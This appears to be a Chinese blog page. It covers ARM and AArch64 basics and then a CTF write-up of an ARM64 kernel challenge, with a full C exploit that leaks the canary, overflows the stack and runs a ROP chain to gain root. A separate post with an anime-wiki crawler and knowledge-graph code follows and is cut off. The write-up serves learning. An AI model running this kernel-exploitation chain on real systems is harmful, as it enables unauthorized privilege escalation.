0%

之前已经写过一篇关于 ARM 的博客了:ARM pwn 环境搭建+基础入门 | Pwn进你的心 (ywhkkx.github.io)

主要简述了以下各方面的知识:(主要是32位)

ARM 的七种工作模式

  • 用户模式(USR):正常程序执行模式,不能直接切换到其他模式
  • 系统模式(SYS):运行操作系统的特权任务,与用户模式类似,但具有可以直接切换到其他模式等特权
  • 快中断模式(FIQ):支持高速数据传输及通道处理,FIQ异常响应时进入此模式
  • 中断模式(IRQ):用于通用中断处理,IRQ异常响应时进入此模式
  • 管理模式(SVC):操作系统保护模式,系统复位和软件中断响应时进入此模式(由系统调用执行软中断SWI命令触发)
  • 中止模式(ABT):用于支持虚拟内存和/或存储器保护,在ARM7TDMI没有大用处
  • 未定义模式(UND):支持硬件协处理器的软件仿真,未定义指令异常响应时进入此模式

在所有的寄存器中,有些是各模式共用同一个物理寄存器,有些寄存器是各个模式自己拥有独立的物理寄存器

CPSR 和 SPSR 都是程序状态寄存器,其中 SPSR 是用来保存中断前的 CPSR 中的值,以便在中断返回之后恢复处理器程序状态

ARM 的 NEON 寄存器

常规寄存器

32位 64位 别名 目的
R0-R6 X0-X7 一般用途
X8 保存子程序返回值
R7 持有系统调用号
X9-X15 临时寄存器 子程序使用时不需要保存
R8-R10 X19-X28 临时寄存器 子程序使用时必须保存
X18 记录平台信息
R11 X29 FP 帧指针
R12 X16-X17 IP 程序内呼叫
R13 X31 SP 栈指针
R14 X30 LR 链接注册
R15 PC 程序计数器
CPSR CPSR 当前程序状态寄存器
SPSR SPSR 程序状态保存寄存器

NEON 寄存器

ARM NEON 技术本质上是一种高级的单指令多数据(SIMD)架构扩展,这种扩展仅在一些 ARMv7-A 和 ARMv7-R 架构以及 ARMv8 架构上支持:

  • 从 ARMv5 架构开始引入 VFP(vector-floating-point) 指令扩展,可以通过使用短向量指令来加速浮点计算
  • 从 ARMv7 架构开始引入 NEON 技术,NEON 技术同样是依靠向量指令来加速计算,VFP 向量指令加速的模式被弃用,因此 VFP 单元有时也称之为 FPU(Floating Point Unit)单元

NEON 寄存器主要是用来存放包含相同数据类型元素的向量:

  • 在 ARMv7 架构中(32位), 一共有16个128位寄存器,一个128位寄存器又可以分为两个64位寄存器,以此类推
  • 在 ARMv8 架构中(64位),所有寄存器的总数相比 ARMv7 架构翻倍
  • Q 寄存器:128位寄存器
  • D 寄存器:64位寄存器
  • S 寄存器:32位寄存器
  • H 寄存器:16位寄存器
  • B 寄存器:8位寄存器

32位下 NEON 寄存器:

  • 32个S寄存器,S0~S31(单字,32bit)
  • 32个D寄存器,D0~D31(双字,64bit)
  • 16个Q寄存器,Q0~Q15(四字,128bit)

64位下 NEON 寄存器:

  • 32个B寄存器,B0~B31(字节,8bit)
  • 32个H寄存器,H0~H31(半字,16bit)
  • 32个S寄存器,S0~S31(单字,32bit)
  • 32个D寄存器,D0~D31(双字,64bit)
  • 32个Q寄存器,V0~V31(四字,128bit)

ARM 的函数调用

测试案例一如下:(64位:循环+选择)

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [xsp+2Ch] [xbp+2Ch]

for ( i = 0; i <= 9; ++i )
{
if ( (i & 1) == 0 )
puts("a");
}
return 0;
}

从 main 函数开始到 for 循环之间的汇编代码:

1
2
3
4
5
6
7
; __unwind {
STP X29, X30, [SP,#var_30]! /* 将X29,X30写入[SP+var_30] */
MOV X29, SP /* 将SP写入X29 */
STR W0, [SP,#0x30+argc] /* 将W0写入[SP+0x30+argc] */
STR X1, [SP,#0x30+argv]
STR WZR, [SP,#0x30+i]
B loc_794
  • ARM 的 MOV 只支持在寄存器之间转换数据,从内存到 CPU 之间的移动只能通过 LDR/STR 指令来完成
  • STP 相当于两个 STR
  • W0 就是 X0 的低32位(类似于 RAX 和 EAX 之间的关系)
  • ARMv8 有两个0寄存器,分别是 WZR 和 XZR(零寄存器内容为 “0”)
  • B 指令是相对跳转指令,根据当前PC寄存器的值加上偏移来实现跳转

从 for 循环到 if 语句的汇编代码:

1
2
3
4
5
6
7
loc_794
LDR W0, [SP,#0x30+i] /* 读取计数器i */
CMP W0, #9 /* 对比计数器i是否到达目标值 */
B.LE loc_76C /* 判断上面cmp结果是否小于等于,跳转标号 */
MOV W0, #0
LDP X29, X30, [SP+0x30+var_30],#0x30 /* 将[SP+var_30]写回X29,X30 */
RET
  • X0 通常作为计数器(地位相当于 x86 中的 RAX)
  • B,B.LE 这两个跳转构成了循环
1
2
3
4
5
6
7
8
9
10
11
loc_76C
LDR W0, [SP,#0x30+i]
AND W0, W0, #1
CMP W0, #0 /* 执行判断语句 */
B.NE loc_788 /* 判断上面cmp结果是否不等于,跳转标号 */
ADRL X0, aA ; s /* 装载.puts的参数 */
BL .puts /* 转移并连接(调用子程序) */
loc_788
LDR W0, [SP,#0x30+i] /* 从栈中获取i */
ADD W0, W0, #1 /* 更新计数器i */
STR W0, [SP,#0x30+i] /* 把i放回栈中 */
  • B.NE 构成了选择

测试案例二如下:(64位:函数调用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [xsp+24h] [xbp+24h]

for ( i = 0; i <= 9; ++i )
{
if ( (i & 1) == 0 )
{
A(0x10, 0x20, 0x30, 0x40, 0x50, 0x60, i + 10, i + 20);
puts("a");
}
}
return 0;
}

函数 A 调用之前:

1
2
3
4
5
6
7
8
9
  0x5500000814 <main+64>     ldr    w7, [sp, #0x2c]
0x5500000818 <main+68> ldr w6, [sp, #0x28]
0x550000081c <main+72> mov w5, #0x60
0x5500000820 <main+76> mov w4, #0x50
0x5500000824 <main+80> mov w3, #0x40
0x5500000828 <main+84> mov w2, #0x30
0x550000082c <main+88> mov w1, #0x20
0x5500000830 <main+92> mov w0, #0x10
0x5500000834 <main+96> bl #A <A>
  • 前6个参数分别放入 X0-X5 中,后续的参数从右往左依次入栈

函数 A 结束之前:

1
2
3
  0x55000007c8 <A+116>       nop    
0x55000007cc <A+120> ldp x29, x30, [sp], #0x40
0x55000007d0 <A+124> ret
1
2
3
pwndbg> telescope 0x5501811f50-0x40
00:00000x5501811f10 —▸ 0x5501811f50 —▸ 0x5501811f80 —▸ 0x5501812090 ◂— 0x0
01:00080x5501811f18 —▸ 0x5500000838 (main+100) ◂— adrp x0, #0x5500000000
  • ldp x29, x30, [sp] 会恢复调用者 main 函数的 X29(FP),X30(LD)
  • 后面的 #0x40 会使 sp+0x40

函数 A 结束之后:

1
2
X29  0x5501811f50 —▸ 0x5501811f80 —▸ 0x5501812090 ◂— 0x0
X30 0x5500000838 (main+100) ◂— adrp x0, #0x5500000000

ARM 的系统调用

先看两个 libc 函数触发 ARM 系统调用的源码:

1
int clone(int (*func)(void*),void *child_stack,int flags,void *func_arg,....);

32位 arm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
ENTRY(__clone)
@ sanity check args
cmp r0, #0 /* 检查第一个参数 */
@ align sp
and r1, r1, #-8 /* 使child_stack对齐 */
ite ne /* If-Then-Else接下来的两条指令条件执行(条件为:不相等) */
cmpne r1, #0 /* If Then如果ne成立,执行cmp,不成立则该条不执行 */
moveq r0, #-EINVAL /* Else:如果eq成立,执行mov,不成立则该条不执行 */
beq PLTJMP(syscall_error) /* 如果eq成立,执行beq,不成立则该条不执行 */

@ insert the args onto the new stack
str r3, [r1, #-4]!
str r0, [r1, #-4]!

@ do the system call
@ get flags
mov r0, r2
mov ip, r2
@ new sp is already in r1
push {r4, r7}
cfi_adjust_cfa_offset (8) /* 发出一个操作码,告诉调试器CFA与假定的CFA(sp)的偏移量为8 */
cfi_rel_offset (r4, 0) /* 告诉调试器R4的原始值可以在新调整的CFA的偏移量0处找到 */
cfi_rel_offset (r7, 4) /* 告诉调试器R7的原始值可以在新调整的CFA的偏移量4处找到 */
ldr r2, [sp, #8]
ldr r3, [sp, #12]
ldr r4, [sp, #16]
ldr r7, =SYS_ify(clone) /* R7负责持有系统调用号 */
swi 0x0 /* 触发异步异常 */
cfi_endproc /* 定义函数结束 */
cmp r0, #0
beq 1f
pop {r4, r7}
blt PLTJMP(C_SYMBOL_NAME(__syscall_error))
RETINSTR(, lr)

cfi_startproc
PSEUDO_END (__clone)
  • 系统调用会引起处理器模式切换 USER 切换到 SVC,而 SVC 下的 SP 和 USER 模式的 SP 是不同的
  • 因此系统调用无法使用栈传入参数,需要将所有的参数通过寄存器 R0-R5 传递

64位 aarch64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ENTRY(__clone)
/* Save args for the child. */
mov x10, x0
mov x11, x2
mov x12, x3

/* Sanity check args. */
mov x0, #-EINVAL
cbz x10, .Lsyscall_error /* 如果X10的值为'0',则跳转Lsyscall_error */
cbz x1, .Lsyscall_error /* 如果X1的值为'0',则跳转Lsyscall_error */

/* Do the system call. */
/* X0:flags, x1:newsp, x2:parenttidptr, x3:newtls, x4:childtid. */
mov x0, x2 /* flags */
/* New sp is already in x1. */
mov x2, x4 /* ptid */
mov x3, x5 /* tls */
mov x4, x6 /* ctid */
mov x8, #SYS_ify(clone)
svc 0x0

cmp x0, #0
beq thread_start
blt .Lsyscall_error
RET
PSEUDO_END (__clone)
  • 参数传递依靠 X0-X6

svc 和 swi 都是 supervisor call 指令,都是系统调用:

  • 在 armv7 之前,用的都是 swi,触发异步异常,进入 vector_swi 异常向量表
    • 当异步异常产生后,程序会抛出一个信号使异常处理程序进入 CPU 的等待队列,然后由 CPU 在合适的时机去运行异常处理程序
  • 在 armv8-arch64 架构下,抛弃 swi 改用 svc,触发的是同步异常,进入同步异常向量表 el1_sync
    • 当同步异常产生后,指令流会立刻进入异常处理流程,CPU 立刻执行异常处理程序
  • 如果不纠结 CPU 的处理过程,就可以把 swi 和 svc 当成是一回事,只是用的向量表不同而已

当通过系统调用进入内核的时候,内核会进行一系列初始化操作,在内核栈上形成如下的用户空间现场:

  • pt_regs:封装了需要在内核入口中保存的最少的状态信息,在系统崩溃时将会提供 debug 信息
  • thread_info:存储当前进程的基本信息,包括进程描述符 task_struct

执行完具体的系统调用代码后,程序会依靠 pt_regs 的数据恢复用户态进程的上下文

babyarm 复现

1
2
3
4
5
6
7
8
9
10
timeout --foreground 60 qemu-system-aarch64 \
-m 128M \
-machine virt \
-cpu max \
-kernel ./Image \
-append "console=ttyAMA0 loglevel=3 oops=panic panic=1" \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-smp cores=1,threads=1 \
-nographic
  • 没有给定nokaslr,默认开启地址随机化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh

mount -t devtmpfs none /dev
mount -t proc none /proc
mount -t sysfs none /sys

insmod /home/pwn/demo.ko
chown -R 1000:1000 /home/pwn

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

cd /home/pwn
setsid cttyhack setuidgid 1000 sh

umount /proc

poweroff -f
  • dmesg_restrict
  • kptr_restrict
  • perf_event_paranoid

漏洞分析

IDA 分析内核模块发现就只有 device_writedevice_read 有用,但这两个函数都很乱

再加上对 ARM 架构不熟悉,逆向的过程花费了我不少时间,下面是我的思考过程:

函数 device_write

1
2
3
4
__int64 v21; // [xsp+B8h] [xbp+B8h]

StatusReg = _ReadStatusReg(ARM64_SYSREG(3, 0, 4, 1, 0));
v21 = *(_QWORD *)(StatusReg + 0x480);
  • 从位置上开看 v21 应该是 canary
  • 那前面的 _ReadStatusReg(ARM64_SYSREG(3, 0, 4, 1, 0)) 就是用来生成 canary 的

然后就到了我感觉最抽象的一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
if ( (*(_DWORD *)(StatusReg + 0x2C) & 0x200000) != 0
|| (v19 = *(_QWORD *)StatusReg, v8 = (unsigned __int64)buf, (v19 & 0x4000000) != 0) )
{
v8 = (unsigned __int64)buf & ((__int64)((_QWORD)buf << 8) >> 8);
}
v9 = 0xFFFFFFFFFFFFLL;
_CF = __CFADD__(v8, len);
v11 = v8 + len;
if ( v11 != 0 && _CF )
v9 = 0LL; // △
if ( _CF )
v11 = -1LL;
if ( (v11 != v9 + !_CF) & __CFSUB__(v11, v9, _CF) )
v12 = 0LL;
else // △
v12 = 1LL;
if ( v12 ) // △
{
if ( ((unsigned __int64)buf & ((__int64)((_QWORD)buf << 8) >> 8) & 0xFFFF000000000000LL) != 0 )
v13 = 0LL;
else
v13 = buf;
__asm { HINT #0x14 }
v17 = _arch_copy_from_user(demo_buf, v13, len);// 成功返回'0'
}
else
{
v17 = len;
}
if ( v17 ) // △
{
memset(&demo_buf[len - v17], 0, v17);
return 0xFFFFFFFFFFFFFFEALL; // 返回错误码
}
else
{
_memcpy(tmp, demo_buf);
return len;
}
  • demo_buf 的范围远比 tmp 大,因此有栈溢出

这段代码有很多未命名变量,宏定义,还有很多 if-else 语句,但我们可以从后向前分析:

  • 为了不让程序返回错误码 0xFFFFFFFFFFFFFFEALL,以上各个 if-else 语句都只能按照 “△” 标注的路线回溯
  • 直到第一个 if 执行:
1
2
3
4
if ( (*(_DWORD *)(StatusReg + 0x2C) & 0x200000) != 0
|| (v19 = *(_QWORD *)StatusReg,
v8 = (unsigned __int64)buf,
(v19 & 0x4000000) != 0) )

感觉程序在检查一些环境,没有实质性的操作,写一个 test.c 进行调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

size_t user_sp_v;
size_t *user_sp = &user_sp_v;

int main()
{
int buf[0x200] = {0};
int fd = open("/proc/demo", O_RDWR);

write(fd, buf, 0x200);
return 0;
}
  • 可以通过 /sys/module/demo/sections/.text 获取模块 .text 基地址
1
2
/home/pwn # cat /sys/module/demo/sections/.text
0xffffbcf41c9e3000
1
2
3
4
5
6
7
0xffffbe24d4559090    bl     #0xffffbe24da88b200           <0xffffbe24da88b200>

0xffffbe24da88b200 hint #0x22
0xffffbe24da88b204 add x5, x0, x2
0xffffbe24da88b208 mov x15, x1
0xffffbe24da88b20c mov x6, x0
0xffffbe24da88b210 cmp x2, #0x10
  • 其实到 _arch_copy_from_user(demo_buf, v13, len) 执行之前的操作都没有什么影响,可以直接忽略

函数 device_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
canary = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 0, 4, 1, 0)) + 0x480);
if ( length > 0x1000 )
return device_read_0((file *)length, buffer, length, 0LL);
_memcpy(demo_buf, tmp);
StatusReg = _ReadStatusReg(ARM64_SYSREG(3, 0, 4, 1, 0));
if ( (*(_DWORD *)(StatusReg + 44) & 0x200000) != 0
|| (v7 = (unsigned __int64)buffer, (*(_QWORD *)StatusReg & 0x4000000) != 0) )
{
v7 = (unsigned __int64)buffer & ((__int64)((_QWORD)buffer << 8) >> 8);
}
v8 = 0xFFFFFFFFFFFFLL;
_CF = __CFADD__(v7, length);
v10 = v7 + length;
if ( v10 != 0 && _CF )
v8 = 0LL;
if ( _CF )
v10 = -1LL;
if ( (v10 != v8 + !_CF) & __CFSUB__(v10, v8, _CF) )
v11 = 0LL;
else
v11 = 1LL;
v12 = length;
if ( v11 )
{
if ( ((unsigned __int64)buffer & ((__int64)((_QWORD)buffer << 8) >> 8) & 0xFFFF000000000000LL) != 0 )
v15 = 0LL;
else
v15 = buffer;
__asm { HINT #0x14 }
v12 = _arch_copy_to_user(v15, demo_buf, length);
}

  • 由于 tmp 和 canary 靠得很近,这里可以把 canary 拷贝到 demo_buf 中

入侵思路

栈溢出和泄露 canary 都很简单,关键是怎么提取并且回到用户态

程序开了 smep 因此只能写 ROP,第一个 gadget 需要完成栈迁移的工作

常规获取 gadget 的工具 ropper/ROPgadget 不能使用:

1
2
filebytes.binary.BinaryError: Bad architecture
ropper --file ./Image --nocolor > g1 0.40s user 0.09s system 99% cpu 0.491 total
1
[Error] PE.getArch() - Bad Arch
  • 这就需要手动找 Gadget 了

内核里有个好用的 gadget:

1
2
3
4
5
6
7
8
.text:0000000000016950 00 00 80 52                   MOV             W0, #0
.text:0000000000016954 F3 53 41 A9 LDP X19, X20, [SP,#0x50+var_40]
.text:0000000000016958 F5 5B 42 A9 LDP X21, X22, [SP,#0x50+var_30]
.text:000000000001695C F7 63 43 A9 LDP X23, X24, [SP,#0x50+var_20]
.text:0000000000016960 F9 23 40 F9 LDR X25, [SP,#0x50+var_10]
.text:0000000000016964 FD 7B C5 A8 LDP X29, X30, [SP+0x50+var_50],#0x50
.text:0000000000016968 C0 03 5F D6 RET

这里有一个小坑需要注意:ARM 的 ret 指令和 x86 的有很大不同

  • 执行 ret 之后,会把 LR 寄存器里的值赋值给 PC(注意,不是栈)

因此构造 ROP 链时的核心就是通过栈来控制 LR(X30) 寄存器:

  • 控制 X19 为 prepare_kernel_cred+4
  • 控制 X30 为 commit_creds+4
  • 执行 ret 时就可以执行 commit_creds(prepare_kernel_cred(0))

后续需要考虑返回用户态的问题:

ARM64使用 SVC 指令进入内核态,使用 ERET 指令返回用户态,ARM 在进入内核态之前会保存用户态所有寄存器状态,在返回时恢复

其中比较重要的寄存器有 SP_EL0、ELR_EL1、SPSR_EL1:

  • SP_EL0:保存用户态的栈指针
  • ELR_EL1:保存要返回的用户态 PC 指针
  • SPSR_EL1:保存 0x80001000

可以用下面这个 gadget 来填充上述数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
.text:0000000000011FE4 17 41 18 D5                   MSR             #0, c4, c1, #0, X23 /* msr	sp_el0, x23 */
.text:0000000000011FE8 DF 02 7C F2 TST X22, #0x10
.text:0000000000011FEC 40 00 00 54 B.EQ loc_11FF4
.text:0000000000011FEC
.text:0000000000011FF0 1F 20 03 D5 NOP
.text:0000000000011FF0
.text:0000000000011FF4
.text:0000000000011FF4 loc_11FF4 ; CODE XREF: sub_157D0-37E4↑j
.text:0000000000011FF4 80 B7 46 F9 LDR X0, [X28,#0xD68]
.text:0000000000011FF8 0B 00 00 14 B loc_12024
.text:0000000000011FF8
.text:0000000000011FF8 ; END OF FUNCTION CHUNK FOR sub_157D0
.text:0000000000011FFC
.text:0000000000011FFC ; =============== S U B R O U T I N E =======================================
.text:0000000000011FFC
.text:0000000000011FFC
.text:0000000000011FFC sub_11FFC
.text:0000000000011FFC
.text:0000000000011FFC ; FUNCTION CHUNK AT .text:0000000000012024 SIZE 00000050 BYTES
.text:0000000000011FFC
.text:0000000000011FFC C1 BF 00 D0 21 A0 00 91 ADRL X1, unk_180B028
.text:0000000000012004 80 D0 38 D5 MRS X0, #0, c13, c0, #4
.text:0000000000012008 21 68 60 F8 LDR X1, [X1,X0]
.text:000000000001200C C1 00 00 B4 CBZ X1, loc_12024
.text:000000000001200C
.text:0000000000012010 81 03 40 F9 LDR X1, [X28]
.text:0000000000012014 81 00 C8 37 TBNZ W1, #0x19, loc_12024
.text:0000000000012014
.text:0000000000012018 E0 3F 01 32 MOV W0, #0x80007FFF
.text:000000000001201C 01 00 80 52 MOV W1, #0
.text:0000000000012020 1F 20 03 D5 NOP
.text:0000000000012020
.text:0000000000012020 ; End of function sub_11FFC
.text:0000000000012020
.text:0000000000012024 ; START OF FUNCTION CHUNK FOR sub_157D0
.text:0000000000012024 ; ADDITIONAL PARENT FUNCTION sub_11FFC
.text:0000000000012024
.text:0000000000012024 loc_12024 ; CODE XREF: sub_157D0-37D8↑j
.text:0000000000012024 ; sub_11FFC+10↑j
.text:0000000000012024 ; sub_11FFC+18↑j
.text:0000000000012024 35 40 18 D5 MSR #0, c4, c0, #1, X21 /* msr elr_el1, x21 */
.text:0000000000012028 16 40 18 D5 MSR #0, c4, c0, #0, X22 /* msr spsr_el1, x22 */
.text:000000000001202C E0 07 40 A9 LDP X0, X1, [SP,#arg_0]
.text:0000000000012030 E2 0F 41 A9 LDP X2, X3, [SP,#arg_10]
.text:0000000000012034 E4 17 42 A9 LDP X4, X5, [SP,#arg_20]
.text:0000000000012038 E6 1F 43 A9 LDP X6, X7, [SP,#arg_30]
.text:000000000001203C E8 27 44 A9 LDP X8, X9, [SP,#arg_40]
.text:0000000000012040 EA 2F 45 A9 LDP X10, X11, [SP,#arg_50]
.text:0000000000012044 EC 37 46 A9 LDP X12, X13, [SP,#arg_60]
.text:0000000000012048 EE 3F 47 A9 LDP X14, X15, [SP,#arg_70]
.text:000000000001204C F0 47 48 A9 LDP X16, X17, [SP,#arg_80]
.text:0000000000012050 F2 4F 49 A9 LDP X18, X19, [SP,#arg_90]
.text:0000000000012054 F4 57 4A A9 LDP X20, X21, [SP,#arg_A0]
.text:0000000000012058 F6 5F 4B A9 LDP X22, X23, [SP,#arg_B0]
.text:000000000001205C F8 67 4C A9 LDP X24, X25, [SP,#arg_C0]
.text:0000000000012060 FA 6F 4D A9 LDP X26, X27, [SP,#arg_D0]
.text:0000000000012064 FC 77 4E A9 LDP X28, X29, [SP,#arg_E0]
.text:0000000000012068 FE 7B 40 F9 LDR X30, [SP,#arg_F0]
.text:000000000001206C FF 43 05 91 ADD SP, SP, #0x150
.text:0000000000012070 E0 03 9F D6 ERET

最后需要注意:不能执行 system("/bin/sh"),会触发缺页机制

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

size_t user_sp_v;
size_t *user_sp = &user_sp_v;
char* tmpbuf[0x1000];

size_t canary;
size_t kernel_addr;
size_t kernel_base;
size_t offset;
size_t commit_creds = 0xffff8000080a2258;
size_t prepare_kernel_cred = 0xffff8000080a24f8;
size_t gadget1 = 0xffff800008011fe4;
size_t gadget2 = 0xffff800008016950;

void save_status()
{
asm("mov x11, %0" : : "r" (user_sp));
asm("mov x12, sp");
asm("str x12, [x11]");
}

void get_root()
{
asm("mov x11, %0" : : "r" (user_sp));
asm("ldr x12, [x11]");
asm("mov sp, x12");

printf("root");
//system("/bin/sh");
int fd = open("/flag", 0);
read(fd, tmpbuf, 0x40);
write(1, tmpbuf, 0x40);
}

int main()
{
save_status();
size_t buf[0x200] = {0};
int fd = open("/proc/demo", O_RDWR);

read(fd, buf, 0x200);
canary = buf[12];
kernel_addr = buf[2];
printf("canary: 0x%llx\n",canary);
printf("kernel_addr: 0x%llx\n",kernel_addr);

offset = kernel_addr - 0xffff8000082376f8;
kernel_base = 0xffff800008000000 + offset;
printf("kernel_base: 0x%lx\n",kernel_base);

commit_creds = commit_creds + offset;
prepare_kernel_cred = prepare_kernel_cred + offset;

gadget1 = gadget1 + offset;
gadget2 = gadget2 + offset;

printf("gadget1: 0x%lx\n",gadget1);
printf("gadget2: 0x%lx\n",gadget2);
//sleep(2);

buf[16] = canary;

buf[18] = gadget2;
buf[22] = prepare_kernel_cred+4; // X19
buf[26] = 0;
buf[32] = commit_creds+4; // X30

buf[36] = gadget2;
buf[42] = gadget1;

buf[45] = get_root;
buf[46] = 0x80001000;
buf[47] = buf;

write(fd, buf, 0x200);
close(fd);
return 0;
}


小结:

第一次打 ARM 的内核题目,调试很久找不到 gadget,最后的 gadget 还是抄的别人的

太菜了,现在找 gadget 还很迷茫,以后有经验了再总结吧

知识图谱实践项目三

这次爬取的目标是:二次元动漫百科 - 白鸟ACG (bnacg.com) (想做一个番剧知识图谱)

爬虫代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# -*- coding: utf-8 -*-#

import os
from time import sleep
from lxml import etree
import requests, re
from urllib.parse import urljoin, urlencode
from bs4 import BeautifulSoup

headers = {
'Accept': '',
'Cookie': '',
'User-Agent': ''
}

class Crawler:
target_url = 'https://www.bnacg.com/dm/list_1_'
base_url = ''
name_file = 0
platform_file = 0
seiyuu_file = 0
classify_file = 0
role_name_file = 0
role_img_file = 0
author_file = 0

def get_base_html(self,url):
res = requests.get(url,headers)
text = res.text.encode('ISO-8859-1').decode('utf-8')
return text

def create_list(self):
base_html = self.get_base_html(self.base_url)
soup = BeautifulSoup(base_html, 'html.parser')
html = soup.findAll("ul", {"class": "result-list"})

url_list = re.findall('<a class="img-wrap" href="(.*?)" rel="nofollow"', str(html))

name_list = []
author_list = []
role_img_list = []
role_name_list = []
classify_list = []
seiyuu_list =[]
platform_list = []

for url in url_list:
url_html = self.get_base_html(url)
soup = BeautifulSoup(url_html, 'html.parser')
name = re.findall('<div class="ts18 bold"> (.*?) /', str(url_html))
classify = re.findall('<div class="rw_ju"> <span class="bold">类型:</span>(.*?)</div>',url_html)
role_name = re.findall('title="(.*?)" alt="',url_html)
role_img = re.findall('<img src="(.*?)" title="',url_html)
seiyuu = re.findall('<div class="rw_ju"> <span class="bold">人物配音:</span>(.*?)</div>',url_html)
author = re.findall('<dd class="canshu value">(.*?)</dd>',url_html)

for i in range(len(role_name)):
role_name[i] = str(role_name[i]).replace(" ","")

name_list.append(name[0])
role_img_list.append(role_img[1:])
role_name_list.append(role_name)
author_list.append(author[2])
platform_list.append(author[3])
seiyuu_list.append(seiyuu)

if(len(classify) != 0):
classify_list.append(classify[0].split(','))

#for i in list(zip(name_list,author_list,platform_list,classify_list,seiyuu_list,role_name_list,role_img_list)):
#print(i)

for i in range(25):
if(len(role_img_list[i])!=len(role_img_list[i])):
print(role_img_list[i])
print(role_name_list[i])

for i in range(len(name_list)):
self.name_file.write(str(name_list[i].replace('《', '').replace('》', '')) + "\n")
self.author_file.write(str(author_list[i].replace(' ','')) + "\n")
self.platform_file.write(str(platform_list[i].replace(' ','')) + "\n")
self.classify_file.write(str(classify_list[i])[1:-1].replace('\'','').replace(',','') + "\n")
self.seiyuu_file.write(str(seiyuu_list[i])[1:-1].replace('\'', '').replace(',', '') + "\n")
self.role_name_file.write(str(role_name_list[i])[1:-1].replace('\'', '').replace(',', '') + "\n")
self.role_img_file.write(str(role_img_list[i])[1:-1].replace('\'', '').replace(',', '') + "\n")

def run(self):
self.name_file = open('data/name.txt', 'w', encoding='utf8')
self.author_file = open('data/author.txt', 'w', encoding='utf8')
self.role_name_file = open('data/role_name.txt', 'w', encoding='utf8')
self.role_img_file = open('data/role_img.txt', 'w', encoding='utf8')
self.platform_file = open('data/platform.txt', 'w', encoding='utf8')
self.seiyuu_file = open('data/seiyuu.txt', 'w', encoding='utf8')
self.classify_file = open('data/classify.txt', 'w', encoding='utf8')

for i in range(30):
self.base_url = self.target_url + str(i+1) + ".html"
print("Now is: " + self.base_url)
self.create_list()

def test(self):
res = requests.get(self.target_url, headers)
print(res.encoding)

if __name__ == '__main__':
cra = Crawler()
cra.run()

构建知识图谱的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
# -*- coding: utf-8 -*-#

from py2neo import Graph,Node,Relationship
import os

classification = ['番剧名称','番剧类型','角色列表','声优列表','播放平台','制作公司']

class KG:
name_file = open('data/name.txt', 'r', encoding='utf8')
platform_file = open('data/platform.txt', 'r', encoding='utf8')
author_file = open('data/author.txt', 'r', encoding='utf8')
role_img_file = open('data/role_img.txt', 'r', encoding='utf8')
role_name_file = open('data/role_name.txt', 'r', encoding='utf8')
seiyuu_file = open('data/seiyuu.txt', 'r', encoding='utf8')
classify_file = open('data/classify.txt', 'r', encoding='utf8')

def createEntity(self,graph):
cql = '''CREATE (n:番剧数据库{id:'0', name:'番剧数据库'}) RETURN n'''
graph.run(cql)

for i, c in enumerate(classification):
cql = '''
MERGE (a:番剧数据库{id:'%d', name:'%s'})
MERGE (b {name: '番剧数据库'})
MERGE (b)-[:划分]->(a)
''' % (i+1, c)
graph.run(cql)

name_list = self.name_file.readlines()
author_list = self.author_file.readlines()
platform_list = self.platform_file.readlines()

for i in range(len(name_list)):
cql = """
MERGE (:番剧名称{id:'%d',名称:"%s"})
""" % (i, name_list[i].replace('\n',''))
graph.run(cql)

print("step 1 down")

author_tmp_list = []
platform_tmp_list = []
for i in range(len(name_list)):
if author_list[i] not in author_tmp_list:
author_tmp_list.append(author_list[i])
cql = """
